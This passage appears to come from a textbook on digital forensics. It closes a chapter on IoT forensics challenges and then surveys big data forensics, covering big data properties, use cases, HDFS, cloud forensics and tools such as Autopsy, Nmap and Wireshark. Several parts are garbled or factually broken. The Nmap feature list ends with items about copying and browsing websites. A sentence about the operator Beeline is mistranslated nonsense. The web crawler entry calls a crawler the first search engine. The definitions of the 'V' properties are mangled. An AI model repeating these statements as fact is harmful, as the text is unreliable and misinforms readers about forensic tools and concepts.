as a consequence of the enormous data produced by IoT devices, clearly 
comprehend the proof they need to form a judgement. The conduct of a 
prompt, expert forensic inquiry is hampered by this intricacy [12].

	•	 Device Recognition and the Reliability of the Evidence
An enormous number of intelligent systems dispersed across various sites 
make up the IoT system. New forensics methods must therefore be created 
in order to detect IoT devices precisely and fast, deciding on the best ways 
to extract evidence from their recollection for further investigation. Because 
any tampering or modification could affect whether or not the complete 
cybercrime interrogation is admissible, the authenticity of forensic evidence 
is therefore a major concern. It is essential to provide cutting-edge protec-
tion methods for digital evidence gathered from an IoT system [18, 19].

	•	 Access Control and Privacy
The private and sensitive information of IoT users is tracked. The inves-
tigators make use of the information from such devices that was gathered 
when an incident occurred without protecting the owner’s privacy during 
the duration of the investigation. It has taken a lot of time and effort to 
build new digital forensics modelling approaches for IoT systems, but over 
the course of the study, the majority of recommended improvements have 
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disregarded data security. In order to ensure that no suspicious activity is 
permitted, IoT devices must also be authenticated. By confirming access 
to IoT devices, the method of IoT-based authentication may be utilised to 
identify IoT users during criminal investigations.

	•	 Diverse Jurisdictions
Cross-border connectivity between various things is made possible by IoT 
technology. There are many benefits to the IoT, but there are also some reg-
ulatory and legal concerns. Current regulatory and legal frameworks cannot 
keep up with the rapid advancement of IoT. New standards and guidelines 
must be created in order to create an IoT network that is more secure. This 
is because it is possible that user data is kept in a variety of locations that 
might be governed by several organisations. Forensic investigators could 
face a variety of difficulties while using IoT devices across several coun-
tries, such as figuring out which laws to go by [20, 21].

	•	 Innovative Forensics
The vast system known as the IoT framework was constructed by billions 
of sensors that produce tremendous volumes of data that are impossible for 
conventional ways to handle. Automated evidence gathering ought to be 
utilised to address numerous IoT forensics issues. Automated evidence col-
lection reduces the difficulty of obtaining evidence from an abundance of 
sources. Intelligent digital forensics is required to manage the IoT system’s 
dynamic, distributed, and diverse properties effectively and produce enough 
proof in a legally sound manner [22]. Automation is most useful during the 
acquisition stage. For instance, the power traces of a node and pattern rec-
ognition in power use profiles could be the foundation for an IoT device’s 
power consumption estimation.

	•	 Forensic Readiness
According to Mohay, “forensic readiness” refers to the extent to which soft-
ware developers or electronic systems record operations and data so that the 
declarations are adequate to their great extent for following investigative 
analysis and that the records are suitable in regard to their own anticipated 
reliability as scientific evidence in subsequent forensic examinations. The 
objective of a particular organisation’s forensic preparedness is to provide 
them with the practical, administrative, and technological control needed to 
conduct an effective investigation. It is used to assess a company’s capabil-
ity of creating a digital investigation in a forensically reliable manner. It is 
still challenging to incorporate forensics compliance into IoT systems in 
order to establish IoT networks that are forensically ready. In this area, more 
research is necessary [23, 24].

4.17 � SUMMARY

The chapter also discusses the differences between IoT and digital forensics and 
how cyber forensics may be used to pinpoint the precise objectives and scope of a 
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compromise. After this, the chapter discusses other IoT-specific cyber threats, such as 
ransomware, botnets, DDoS assaults, and data forging. A comprehensive description 
of the IoT, a term for any devices linked to the internet, including devices like fitness 
monitors that gather and send data, is also provided in this chapter. Usually, a data 
repository with the computational power and storage capacity needed to manage the 
data is where this information is kept. Overall, this chapter is a guide to IoT forensics, 
giving readers a general understanding of the field as well as an understanding of the 
many concepts and methods used to look into criminal activity utilising IoT devices.
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5.1 � INTRODUCTION: BACKGROUND OF BIG DATA

BD (big data) is a term used to describe a huge volume of data that is being produced 
more quickly and in greater quantities. Therefore, BD’s three key characteristics are 
diversity, rapid arrival, and volume. BD, especially from fresh data sources, is simply 
larger and more complicated datasets. The sheer size of these datasets exceeds the 
capabilities of typical processing software. Nevertheless, BD can be leveraged to 
solve business challenges that were once considered unsolvable [9].

BD forensics refers to the process of using advanced data analysis techniques to 
investigate and uncover digital evidence in large datasets [13]. This can include iden-
tifying patterns, anomalies, and connections in data that may be relevant to a criminal 
or civil investigation. One of the key challenges in BD forensics is the sheer volume 
and variety of data that must be analyzed [14]. This can include structured data, such 
as transactional records, as well as unstructured data, such as social media posts or 
text messages. The complexity of BD forensics also increases as the number of 
devices, platforms, and cloud storage services that need to be analyzed increases [1]. 
Another challenge is that BD forensics often involves dealing with data in various 
formats, such as text, images, audio, and video. This requires specialized software 
and tools that can extract, process, and analyze different types of data (Figure 5.1).

Here are some of the various techniques and methods used in BD forensics:

	•	 Data mining from various sources of data fetching and machine learning 
(ML) [28]

	•	 Network analysis and data visualization (like data science)
	•	 Text analysis and natural language processing (NLP)
	•	 Image and video analysis
	•	 Cloud forensics [8]

When conducting BD forensics, it is essential to ensure that the data being analyzed 
is collected and handled in a legal and ethical manner. This includes adhering to laws 
and regulations related to data privacy and security, as well as maintaining the integ-
rity of the data throughout the forensic process [1] [20]. In conclusion, BD forensics 
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is a complex and challenging field that requires advanced data analysis techniques to 
uncover digital evidence in large datasets [13]. It requires a variety of approaches and 
strategies, and it’s crucial to guarantee that data is gathered and managed in a morally 
and legally responsible way [27].

5.2 � HISTORY OF BIG DATA

The first data storage system, known as the IBM 1301 Disk Storage Unit, was 
released by IBM in the early 1960s, marking the beginning of BD. This device could 
fit 2.6 million characters’ worth of data into a single disc pack [9]. The phrase “big 
data” wasn’t, however, created until the 1990s, with the rise of the internet and the 
explosion of digital data [10].

The volume of data being created and gathered started to increase at an unprece-
dented rate as a result of the expansion of the World Wide Web and the spread of digi-
tal gadgets. New technology and methods for storing, organizing, and analyzing 
massive volumes of data were created as a result of this. BD is being utilized to 
inform corporate choices, enhance healthcare results, and boost scientific research 
across a wide range of sectors [26] (Figure 5.2).

5.3 � MAIN PROPERTIES OF BIG DATA

Volume: The volume of data is a crucial consideration. We will need to analyze 
a lot of low-density unstructured data if we have a lot of them. The worth of 
such information is not always obvious. This can include Twitter feed data, 
online page traffic statistics, mobile app data, network traffic, and sensor 
data. Some firms may receive data in the tens of terabytes, while others may 
receive data in the hundreds of petabytes.

FIGURE 5.1  Big data (5V’s).
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Speed: In this sense, speed refers to the rate at which data is received and, 
potentially, actions are taken in response to it. High-speed data streams are 
typically written directly to RAM rather than to disk [5]. Some web-based 
smart goods work in real time or close to it. As a result, such data neces-
sitates real-time review and response.

Diversity: The availability of many sorts of data is referred to as diversity. 
Traditional data types are organized and may be placed in a relational data-
base quickly. Data began to come in an unstructured form with the advent 
of BD. Text, audio, and video are examples of unstructured and semi-
structured data forms that require further processing to discern meaning 
and retain information [11].

5.4 � THE VALUE OF BIG DATA AND ITS VALIDITY

Over the past several years, worth and credibility have also become important attri-
butes. Data has inherent worth. However, this value needs to be unlocked in order for 

FIGURE 5.2  History of big data.
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them to be helpful. How trustworthy BD is, and how much can we trust it, is equally 
crucial. BD is now seen as a type of capital. Consider the largest IT firms. The quality 
of their goods heavily depends on the data they have access to, which they continu-
ously evaluate to increase productivity and create new items. The cost of processing 
and storage has dramatically decreased because of recent technological advance-
ments, making it feasible to store and evaluate ever-increasing amounts of data [11]. 
With contemporary technology, we can BD store and analye more data at a lower 
cost, enabling us to make business decisions that are more precise and well informed. 
BD value extraction goes beyond just analysis (this is their separate advantage) [9] 
[25]. Deep analysts, business users, and executives willing to ask probing inquiries, 
spot trends, draw educated conclusions, and forecast behavior are all involved in an 
end-to-end exploratory approach.

5.5 � BENEFITS OF BIG DATA

There are several benefits of BD, including the following:

	•	 Improved decision making: Maximum organizations may acquire insights 
and make better decisions by analyzing enormous volumes of BD.

	•	 Increased efficiency: BD may assist businesses in automating processes 
and identifying inefficiencies, resulting in cost savings and enhanced 
productivity.

	•	 Better customer service: BD can be used to gain in-depth understanding 
of customer needs and preferences, allowing organizations to tailor their 
products and services to meet those needs.

	•	 New product development: BD may be utilized to find new product devel-
opment and innovation opportunities.

	•	 Fraud detection: BD can be used to detect fraudulent activities by identify-
ing patterns and anomalies in large sets of data.

	•	 Improved public services: BD can be used to improve public services by 
identifying patterns and trends in large sets of data, and can be used to 
improve public health, transportation, and public safety.

	•	 Predictive analytics: With BD, organizations can use predictive analytics to 
forecast future trends, identify potential risks, and gain a competitive edge.

5.6 � USE CASES FOR BIG DATA

BD technology can also be used in a wide variety of areas, from end-user interaction 
to BD analytics and data science. Here are a few real-world use case scenarios with 
various organization. related to BD:

Marketing: Companies can analyze customer data to gain insights into con-
sumer behavior, preferences, and purchasing patterns. This information can 
be used to target marketing efforts and improve customer engagement.

Healthcare: Healthcare providers and hospitals can use BD to improve patient 
outcomes by analyzing medical records, clinical trial data, and other health-
related information.
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Finance: Banks and financial institutions can use BD to detect fraud, improve 
risk management, and gain a deeper understanding of customer needs and 
preferences.

Retail: Retailers can use BD to improve inventory management, optimize pric-
ing strategies, and personalize the shopping experience for customers.

Manufacturing: BD may help manufacturers streamline manufacturing pro-
cesses, increase quality control, and decrease waste.

Energy: Energy companies can use BD to improve the efficiency of their 
operations, predict equipment failures, and optimize the distribution of 
energy.

Transportation: Various transportation companies can use BD to optimize 
routes, improve fleet management, and reduce fuel consumption.

Public services: Government agencies can use BD to improve the delivery of 
public services, such as transportation, healthcare, and education.

Environmental monitoring: BD may be used to track and analyze environ-
mental data to understand the impact of human activities on the planet and 
mitigate any harmful effects.

Human resources: Companies can use BD to analyze employee data, such as 
performance metrics and turnover rates, to improve recruitment, retention, 
and performance management.

Product development: BD is being used by businesses like Netflix and Procter 
& Gamble to forecast customer demand. To construct prediction models for 
new products and services, they classify important characteristics of already 
available and discontinued goods and services and analyze links between 
these characteristics and the financial success of offers. Additionally, P&G 
makes use of analytics and data from focus groups, as well as from social 
networks, based on the results of market tests and test sales, and then 
releases new products.

Predictive service management: Sensor data, log entries, error messages, 
and engine temperature information are examples of unstructured data [18]. 
Additionally, structured data in the form of equipment year, make, and model 
may hide characteristics that indicate mechanical problems. Organizations 
may save maintenance costs and prolong the life of components and equip-
ment by researching early warning indicators of possible problems [18].

Interaction with customers: The competition for clients is raging. Obtaining 
trustworthy customer experience with BD is now easier than ever. BD will 
allow us to collect vital information and metadata from social media, web-
site traffic analytics, and various other sources enhancing client interactions 
and making our offerings as beneficial as feasible, such as issue prevention, 
reduced customer attrition, and personalized service [18].

Intrusion detection and compliance: In terms of security, we are competing 
against teams of specialists rather than simply a few hackers. Safety stan-
dards and regulatory regulations are always evolving. BD makes it possible 
to spot fraud tendencies and gather a lot of information to expedite regula-
tory reporting [18] [27].
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Machine learning: Nowadays, machine learning is one of the most popular 
IT fields. And one of the factors contributing to its popularity is data, par-
ticularly BD. These days, we don’t need to program robots; we can educate 
them. BD’s accessibility is what has made this feasible [28].

Operational efficiency: Though it is rarely mentioned, operational efficiency 
is where BD has the most impact. To decrease downtime and forecast 
demand, we may access and analyze BD on production, customer mood, 
revenue, and more. BD also enables to make more informed choices that are 
in line with consumer demand.

Driving innovation: BD identifies interdependencies between users, institutions, 
and businesses, as well as new ways to use the knowledge gained to make bet-
ter financial decisions and plans by leveraging data insights, introducing new 
products and services, researching buyer trends and preferences, and imple-
menting dynamic pricing. The alternatives are completely unlimited.

5.7 � DIFFICULTIES WHEN USING BIG DATA

BD is a big opportunity but also a big challenge. First of all, BD predictably takes up 
a lot of space. While new storage technologies are constantly evolving, data volumes 
are doubling nearly every two years. Organizations still face the challenge of data 
growth and efficient storage. But it’s not enough to just find a large repository. Data 
must be used to create value, and how the data is handled determines how valuable 
that benefit is. Pure data, or data that is arranged for efficient analysis and useful to 
the customer, needs proper processing. Fifty to eighty percent of their work is spent 
processing and getting ready data for usage by data scientists, and, finally, BD tech-
nologies are developing by leaps and bounds [11]. A few years ago, Apache Hadoop 
was the hottest technology for working with BD. The Apache Spark platform was 
launched in 2014. Today, the best approach is to use the two platforms together. 
Keeping up with the development of BD requires a lot of effort.

Several difficulties arise when using BD, including the following:

	•	 Storage and processing: Storing and processing large amounts of data can 
be challenging and require specialized hardware and software.

	•	 Data quality: Ensuring the quality and accuracy of BD can be difficult, as it 
may come from a variety of sources and may be incomplete or inconsistent.

	•	 Data privacy and security: Managing and protecting sensitive information 
in BD sets can be a major concern [20].

	•	 Analyzing and interpreting data: Understanding and making sense of large 
amounts of data can be difficult and requires specialized tools and techniques.

	•	 Integration with existing systems: Integrating BD with existing systems 
and processes can be challenging and may require significant changes to 
existing infrastructure.

	•	 Scalability: Scaling BD systems to handle increasing amounts of data can 
be difficult and may require constant updates and maintenance.

	•	 Time-consuming: Extracting valuable information from BD can take a lot 
of time and requires specialized skills and knowledge [18].
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5.8 � HOW BD WORKS

BD enables us to harness fresh, valuable insights, paving the way for novel data and 
business model management possibilities. To embark on the journey of BD utiliza-
tion, three initial steps must be taken.

5.9 � INTEGRATION

BD technology unifies data from a variety of sources and applications, a task that 
goes beyond what traditional integration methods like ETL (Extract, Transform, and 
Load) tools can handle. Analyzing datasets in the terabyte and even petabyte range 
demands the implementation of innovative strategies and technologies. Throughout 
the integration phase, data is assimilated, processed, and structured to ensure it is 
user-friendly for corporate analysts in their tasks.

5.10 � MANAGEMENT

BD demands substantial storage capacity, which can be situated on-site, in the cloud, 
or a combination of both [2]. We have the flexibility to store data in our preferred for-
mat and apply the necessary processing engines to meet specific processing require-
ments as the situation requires. Many organizations opt for a storage solution based on 
their current storage infrastructure. Cloud storage is gaining traction due to its support 
for contemporary computing needs and the ability to scale resources as required [6].

5.11 � ANALYSIS

When we begin to evaluate the data and start acting on the insights, our investment in 
BD will pay off. Visual examination of heterogeneous datasets provides a new degree 
of transparency. Deep data analysis may be used to make new discoveries and share 
findings with others [13]. Using ML and artificial intelligence (AI), data models can 
be created and the data utilized [17].

5.12 � BEST PRACTICES FOR BIG DATA

Here are some of the best approaches when working with BD:

	•	 Data governance: Establish a set of policies and procedures for managing, 
storing, and protecting data. This includes classifying data based on its sen-
sitivity and implementing security measures to protect it [20].

	•	 Data quality: Ensure that the data being collected is accurate, complete, 
and relevant. This includes implementing processes for data validation, 
cleaning, and deduplication.

	•	 Data integration: Integrate data from multiple sources, including struc-
tured and unstructured data, to gain a more comprehensive view of the data.

	•	 Data warehousing: Use a data warehouse or data lake to store and manage 
large amounts of data. This will enable faster querying and reporting, and 
make it easier to access the data for analysis.
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	•	 Data visualization: Use data visualization tools to make the data more 
understandable and actionable. This includes creating charts, graphs, and 
dashboards to display the data in a clear and concise manner.

	•	 Data security: Implement security measures to protect the data, including 
encryption, access controls, and monitoring [20].

	•	 Data management: Implement data management practices to ensure 
the data is accurate and up to date. This includes archiving, purging, and 
backup.

	•	 Data analysis: Use statistical techniques and ML algorithms to analyze the 
data and gain insights. This includes descriptive statistics, inferential statis-
tics, and predictive modeling [17].

	•	 Scalability: Be prepared to scale up infrastructure as the volume of data 
grows; this includes both storage and processing capabilities.

	•	 Continual learning: Continuously monitor the data, evaluate the results, 
and improve the processes. This will help to stay up to date with the latest 
trends and technologies.

	•	 Use standards and norms to compensate lack of skills in BD: The most 
important impediment to profiting on BD is an area of ignorance. This risk 
may be diminished by integrating BD technologies, strategies, and solu-
tions into the IT management program. The standardization of the method 
will allow for more efficient cost and resource management. When adopt-
ing BD solutions and strategies, it is critical to determine the needed level 
of competence ahead of time and take steps to close skill gaps. This might 
entail training or retraining current employees, employing new employees, 
or contacting consultancy companies.

	•	 Centers of Excellence to improve knowledge transfer: Define Centers 
of Excellence to exchange knowledge, monitor, and manage project com-
munication. Whether we are just getting started with BD or a seasoned pro, 
the costs of hardware and software should be shared across the firm. This 
organized and systematized method aids in the empowerment of BD and the 
overall maturity of information architecture.

5.13 � BD BENEFITS: ALIGNING ORGANIZED AND 
UNSTRUCTURED DATA

Analytics on BD is most valuable in and of itself. However, we may gain even more 
insights by combining and merging low-density BD with existing structured data. 
Whether gathering data about customers, goods, equipment, or the environment, the 
aim is to add more relevant information to benchmarks and insights, resulting in 
more accurate insights. For example, it is critical to differentiate between the atti-
tudes of all consumers and the attitudes of the most valued customers. As a result, 
many businesses regard BD as an essential component of their existing collection of 
business intelligence tools, data storage systems, and information architecture [21] 
[22]. Keep in mind that BD processes and models can be executed and developed by 
both humans and machines [21]. The analytical capabilities of BD include statistics, 
spatial analysis, semantics, interactive learning, and visualization. Using analytical 
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models allows us to correlate different types and sources of data to make connections 
and extract useful information [17].

Keep data labs productive: Discovering useful insights in data is not always easy. 
Sometimes we don’t even know what we’re looking for [21]. This is fine. Management 
and IT should be sympathetic to the lack of a clear goal or requirement.

At the same time, data scientists need to work closely with the business to get a 
clear idea of where the gaps lie and what the business needs are. To enable interactive 
exploration of data and the ability to experiment with statistical algorithms, high-
performance workspaces are required. Make sure our test environments have access 
to all necessary resources and that they are properly controlled.

Align with the cloud operating model: BD technologies require access to a wide 
range of resources for iterative experiments and ongoing production tasks [2]. BD solu-
tions cover all areas of activity, including transactions, master, reference, and summary 
data [21]. Test environments for analysis should be created on demand [21]. Resource 
allocation management plays a critical role in maintaining control over the entire data 
flow, including pre-processing, post-processing, integration, database aggregation, and 
analytical modeling [17]. A well-planned private and public cloud provisioning and 
security strategy is key to supporting these changing requirements [7].

5.14 � FORENSIC ON BIG DATA

In the professional activities of a forensic expert, areas related to the processing of 
BD are increasingly used [8]. For example, the results of the examinations carried 
out are very convenient to enter into cloud storage, because large data centers are a 
reliable way to store information, where the probability of saving data is high even 
in the event of hardware failures [3]. It is also possible to organize collaboration with 
data between colleagues, which, in turn, can significantly save time and effort. In 
addition, expert organizations do not need to purchase and maintain their own stor-
age infrastructure, which ultimately reduces overall production costs.

It is worth mentioning another important and useful area of BD for forensic 
experts – AI. Special program algorithms study case materials and allow them to be 
classified and prepared for investigation. AI is not yet able to sort out a criminal case, 
but it is capable of doing routine work. Neural networks connected to the national 
DNA database can discover the connection between certain events and find missing 
clues. At the moment, various automated information retrieval systems are actively 
used in forensic science, such as Block, Maniac, Octopus, and Mirror.

BD is a modern technological direction associated with the processing of large 
data arrays that are constantly growing. The prospects that BD can bring are interest-
ing for business, marketing, science, and the state. First of all, BD is information, so 
large that it is difficult to operate with conventional software tools. For BD, their own 
algorithms, software tools, and even machines are being developed. To come up with 
a means of processing constantly growing information, it is necessary to create new, 
innovative solutions. That is why BD has become a separate direction in the techno-
logical field.

To reduce the blurring of definitions in the field of BD, features have been developed 
that they must correspond to. Everything starts with the letter V, so the system is called 
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VVV: volume – volume (the amount of information is measurable); velocity – speed 
(the amount of information is not static – it is constantly increasing, and processing 
tools must take this into account); variety – variety (information does not have to have 
one format, it can be unstructured, partially or completely structured). To these three 
principles, with the development of the industry, additional Vs are added. For example, 
veracity – reliability, value – value, or viability – viability. But for understanding, the 
first three are enough: BD is measurable, incremental, and heterogeneous.

The following are some companies/organizations where BD technology is widely 
used:

	•	 Yandex: This is a corporation that operates one of the most popular search 
engines and makes digital products for almost every area of life. For Yandex, 
BD is not an innovation but a duty dictated by its own needs. The company 
employs algorithms for ad targeting, traffic forecasting, search engine opti-
mization, music recommendations, and spam filtering [16].

	•	 Megaphone: The telecommunications giant turned its attention to BD 
about five years ago. Work on geo analytics led to the creation of ready-
made solutions for the analysis of passenger traffic. In this area, Megafon 
(mobile phone operator company) has cooperation with railways, Beeline 
utilizes the original text to obtain extra translation information. This mobile 
operator analyzes information arrays to combat spam and fraud, optimize 
the product line, and predict customer problems [16]. It is known that the 
corporation liaises with banks – the operator helps to anonymously assess 
the creditworthiness of subscribers.

	•	 Sberbank: In the largest bank in Russia, superarrays are analyzed to 
optimize costs, manage risks competently, fight against fraud, as well as 
calculate bonuses and bonuses for employees. Competitors solve similar 
problems with the help of BD.

	•	 Alfa-Bank, VTB24, Tinkoff-Bank, and Gazprom bank: Already now, 
BD helps in solving such professional tasks as increasing labor productivity, 
tracking and listening algorithms among the array of connections between 
subscribers required, operational-search activities with the identification 
and recognition of the identity of the attacker, use of databanks, forecasting 
situations, and improving search methods.

5.15 � LITERATURE REVIEW: FORENSICS ON BIG DATA

This section discusses digital forensics and forensic tools for BD analytics using 
Hadoop Distributed File System (HDFS), and cloud-based services for forensic 
inquiry [8].

5.15.1 � Digital Forensics

Digital forensics is a subfield of forensic science that deals with the recovery, pres-
ervation, and analysis of evidence found in digital devices, frequently in connec-
tion with computer crime [23]. A typical digital forensic inquiry consists of three 
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major steps. The gathering of evidence is the first proactive step in digital forensic 
inquiry. The fundamental difficulty at this level is that digital media may be easily 
manipulated even with limited file access. As a result, forensic analysts use special-
ized equipment to generate a “bit duplicate” of the medium that prevents data tam-
pering. Typically, the fundamental goal of any digital study is to confirm or reject a 
theory. Analyzing digital material necessitates instinct to recreate the occurrence of 
previous events as well as intuition to link the connections. There are two types of 
digital forensics analysis: evidence recovery and analysis [15]. A forensic analyst 
discovers and saves essential information needed for an inquiry. Expert analysis is 
performed on the collected data, and prior events are reconstructed using a chronol-
ogy and a stamp. Following the conclusion of the study, a full report must be given 
to the relevant parties, the legal requirements must be fulfilled, and the report must 
be presented in court.

5.15.2 � Hadoop Distributed File System

HDFS is made to deliver very BD sets at high bandwidth to user applications while 
storing them in a more safe and dependable manner [12]. Directly attached stor-
age and several servers are grouped together to run user application duties [19]. 
As a result of the distribution of storage and processing over several servers, the 
resource may scale up to meet demand while always staying cost-effective. In all 
Hadoop clusters, HDFS offers high-performance access to data [12]. HDFS has 
developed into a crucial tool for managing massive data pools and enabling BD 
analytics applications [19]. To guarantee that a large amount of data is accessible 
even if an entire computer equipment rack fails, HDFS enables “rack awareness,” 
which allows the data to be distributed outside the present rack (Apache Software 
Foundation, 2016) [12].

HDFS is a distributed file system that is designed to run on commodity hardware 
[19]. It is the primary file system used by Hadoop applications, and it is designed to 
handle large datasets across a cluster of commodity servers. HDFS is optimized for 
batch processing, which makes it well suited for data that is not frequently updated, 
and it is fault-tolerant, meaning that it can continue to operate even when some of the 
servers in the cluster fail. HDFS is written in Java and is an open-source project that 
is part of the Apache Hadoop project [12].

5.15.3 �C loud Services and Forensics on Cloud Big Data

Forensics in cloud services refers to the process of collecting, preserving, and analyz-
ing digital evidence stored in cloud environments [3]. This can include data stored 
in public, private, or hybrid clouds, as well as data stored in SaaS (Software as a 
Service), PaaS (Platform as a Service), and IaaS (Infrastructure as a Service) envi-
ronments [7].

Some of the key challenges of forensics in cloud services include the following:

	•	 Data fragmentation: Cloud environments can distribute data across mul-
tiple servers and locations, making it difficult to identify and collect all 
relevant evidence.
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	•	 Data encryption: Data stored in the cloud may be encrypted, making it dif-
ficult to access and analyze without the proper decryption keys.

	•	 Data deletion: Data stored in the cloud can be easily deleted by users or 
administrators, making it difficult to recover deleted files or data.

	•	 Limited access to cloud environments: Cloud providers may limit access 
to their environments, making it difficult for forensic investigators to collect 
evidence.

	•	 Legal and compliance: Cloud providers are subject to different laws and 
regulations in different countries and regions, which can make it difficult to 
comply with all legal requirements during a forensic investigation.

To overcome these challenges, forensic investigators use specialized tools and tech-
niques to collect, preserve, and analyze data stored in cloud environments [14]. This 
can include using cloud-specific forensic tools, such as cloud data extraction and 
preservation tools, as well as traditional forensic tools, such as disk imaging and data 
recovery software [23].

Forensic investigators also use specialized techniques, such as data carving, to 
recover deleted data and metadata, and use encryption and decryption tools to access 
encrypted data.

Additionally, forensic investigators may work with cloud providers and legal 
experts to ensure that all legal and compliance requirements are met during the foren-
sic investigation.

Cloud services play a significant role in BD by providing the infrastructure and 
tools needed to store, process, and analyze large amounts of data. The following are 
some of the key benefits of using cloud services for BD:

	•	 Scalability: Cloud services can easily scale up or down to accommodate 
changes in data volume, making it easy to handle the dynamic nature of BD.

	•	 Cost-effectiveness: Cloud services offer a pay-as-you-go model, which 
eliminates the need for large up-front investments in hardware and software.

	•	 Flexibility: Cloud services provide the ability to access and analyze data 
from anywhere, at any time, with little or no IT support required.

	•	 Speed: Cloud services allow organizations to process and analyze large vol-
umes of data quickly, which can help drive faster business decisions.

	•	 Security: Cloud service providers often have advanced security measures in 
place to protect data, such as encryption and access controls [20].

	•	 Integration: Cloud services can be easily integrated with other tools and 
technologies, such as data visualization, analytics, and ML platforms.

	•	 Variety of services: Cloud providers offer a wide range of services that 
can be customized to meet the specific needs of different organizations and 
use cases, such as storage, computation, analytics, data warehousing, and 
machine learning.

	•	 High availability: Cloud services offer high availability and automatic 
failover, which ensures that data is always available and protected against 
hardware failures.

	•	 Collaboration: Cloud services enable team collaboration and sharing of 
data and analytics results among multiple users, regardless of location.
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There are different cloud providers such as AWS (Amazon Web Services), Microsoft 
Azure, Google Cloud, and IBM Cloud, which provide different services and features 
to support BD.

5.15.4 �B ig Data Deduplication

Data deduplication is a method used to eliminate redundant data copies, reducing 
storage requirements. This method makes sure that only one distinct instance of the 
data is kept on the disc, flash drive, or tape. A pointer to the unique data copy is used 
to replace redundant data blocks. Data deduplication and incremental backup, which 
uploads just the data that has changed since the last backup, are quite similar.

5.16 � FUTURE ENHANCEMENT

BD forensics refers to the process of collecting, analyzing, and preserving digital evi-
dence from large and complex datasets for the purposes of investigating cybercrime 
or other digital incidents [15]. Here are some of the main challenges of BD forensics:

	•	 Volume: The sheer size and scale of BD can make it difficult to collect, 
process, and analyze.

	•	 Variety: BD can come in many different formats, such as text, images, 
audio, and video, which can make it difficult to process and analyze.

	•	 Velocity: BD can be generated and processed at high speeds, which can 
make it difficult to collect and analyze in real time.

	•	 Veracity: BD can be incomplete, inconsistent, or inaccurate, which can 
make it difficult to trust the results of an analysis.

To address these challenges, BD forensic practitioners may use a variety of approaches 
and techniques, such as the following [14]:

	•	 Sampling: To decrease the quantity of data that must be processed, prac-
titioners may use statistical sampling techniques to select a representative 
subset of data to analyze.

	•	 Distributed processing: To handle the large volume of data, practitioners 
may use distributed computing platforms such as Hadoop or Spark to pro-
cess data in parallel [6] [19].

	•	 Machine learning: To analyze complex and unstructured data, practitioners 
may use ML algorithms to extract insights from data.

	•	 Data visualization: To make sense of large and complex datasets, practitio-
ners may use data visualization tools to create interactive graphics that help 
identify patterns and anomalies in the data.

	•	 Chain of custody and preservation: To ensure the evidence’s integrity, 
practitioners must ensure that the data is collected, preserved, and analyzed 
in a manner that guarantees the authenticity, integrity, and reliability of the 
evidence.
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	•	 Compliance: To ensure that their investigations comply with legal and reg-
ulatory requirements, practitioners must be familiar with the laws, regula-
tions, and standards that apply to their work.

	•	 Cyber forensic tool
	 1.	 Preservation of the evidence
	 2.	 Quick data triage and reduction
	 3.	 Multimedia assessment
	 4.	 Reconstruction of the volumes and file system
	 5.	 Analysis of Windows OS
	 6.	 Memory examination [4]
	 7.	 Document analysis

	•	 Autopsy tool: straightforward Windows installation, intelligent, automated 
workflow, supports cellphones and hard drives, Timeline analysis for all 
events, normal Android database parsing, detection of extension mis-
matches, picture galleries for image reviews, email message extraction, 
deleted file carving, MD5 hash lookup, indexed keyword search, EXIF data 
retrieved from JPEG images, extracted artifacts from web browsers, and 
network-based collaboration are all available [25].

	•	 Improved analysis of the chronology: Multiple examiners working on the 
same case concurrently.

	•	 Parallel file processing in multi-core computers, providing quick results.
	•	 Open-source digital forensics is an all-purpose, quick, and user-friendly 

platform [15]. It is used by tens of thousands of customers and developers 
worldwide [24].

	•	 Nmap: Network Mapper
	 1.	 Host discovery is the first step in finding hosts on a network, listing the 

addresses, for instance.
	 2.	 Responds to TCP-based protocol and/or ICMP queries.
	 3.	 Has a certain open port.
	 4.	 Enumerates the open ports on target hosts by port scanning.
	 5.	 Device and its version detection: Investigating network device ser-

vices on distant devices to learn the name and version number of the 
programmer.

	 6.	 OS detection: Identifying the hardware specifications and operating 
system of network devices.

	 7.	 Content of downloaded web pages can be copied, edited, and shared.
	 8.	 Simple installation procedures.
	 9.	 A website download that has an internet connection can have its mate-

rial updated.
	 10.	There is no distinction between offline and online browsing.

	•	 Wireshark
	 1.	 GUI Interface Network packet sniffing tool.
	 2.	 Opens files with packet data obtained via packet capture applications 

like Wireshark, TCP dump/Win Dump, and others.
	 3.	 Imports packets using text files (.txt) containing hex dumps (Hexadecimal 

– Raw Image) of the network packet data.
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	 4.	 Shows n/w packets that include extensive protocol information.
	 5.	 Stores the collected network traffic packet data.
	 6.	 Captures partially or entirely n/w packets in a number of different file 

types and protocols.
	 7.	 Option with various filter n/w traffic packets based on several factors.
	 8.	 Searches for Wireshark n/w traffic packets using different sets of 

criteria.
	 9.	 Uses various packet filters to different colorize n/w packet displays. 

Packet colorization is a really helpful feature in Wireshark. Wireshark 
may be configured to colorize packets based on a display filter. This 
allows you to highlight packages that you may be interested in. 
Wireshark has two sorts of coloring rules: temporary rules, which are 
only active until you exit the software, and permanent rules, which are 
kept in a preference file and are accessible the next time you launch 
Wireshark. To add temporary rules, pick a packet and hit the Ctrl key 
together with one of the number keys. This will generate a color rule 
depending on the currently chosen discourse. It will try to develop a con-
versation filter based on TCP first, then UDP, IP, and finally Ethernet. 
To build temporary filters, right-click on the packet detail pane and pick 
Colorize with Filter → Color X from the menu. To permanently colorize 
packets, choose View → Coloring Rule.

	•	 Colasoft
	 1.	 Verifies network defences against assaults and intrusions.
	 2.	 Supports transmitting packets via a network and storing them to packet 

files.
	 3.	 Cola gentle Ping Tool may be activated in three different ways.
	 4.	 In Colasoft tool window menu, choose Colasoft Packet Builder.
	 5.	 Click Windows’ Start button and choose All Programs. From the 

Colasoft Capsa application, select Colasoft Packet Builder.
	 6.	 From the Windows Start menu, select the Run command. Type the 

“PktBuilder.exe” and run this file with administrative privilege com-
mand and press the Enter key.

	•	 Web crawler
	 1.	 A programmer or script that searches the WWW (World Wide Web) 

automatically.
	 2.	 The first search engine on the web to offer complete text search.
	 3.	 An internet chatbot that routinely searches the web search engine, often 

with the aim of indexing the data [10].

5.17 � CONCLUSION

The nature of modern computing devices is causing a sharp rise in the volume of digi-
tal data produced by both machines and people. Applications for BD that support digi-
tal forensics areas are becoming more and more important as the volume of digital data 
rises. However, this inevitably results in the necessity for greater efforts to glean valu-
able information from the gathered data. The capability of existing digital forensics 
tools and methods is currently being exceeded by the volume of digital information. 
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In this chapter, we will discuss “big data forensics. and list the difficulties faced while 
carrying out trustworthy forensics under the BD framework. We offer a strong con-
ceptual framework for managing large data for digital forensics and outline potential 
prospects for using BD in digital forensics. BD forensics issues can be overcome, 
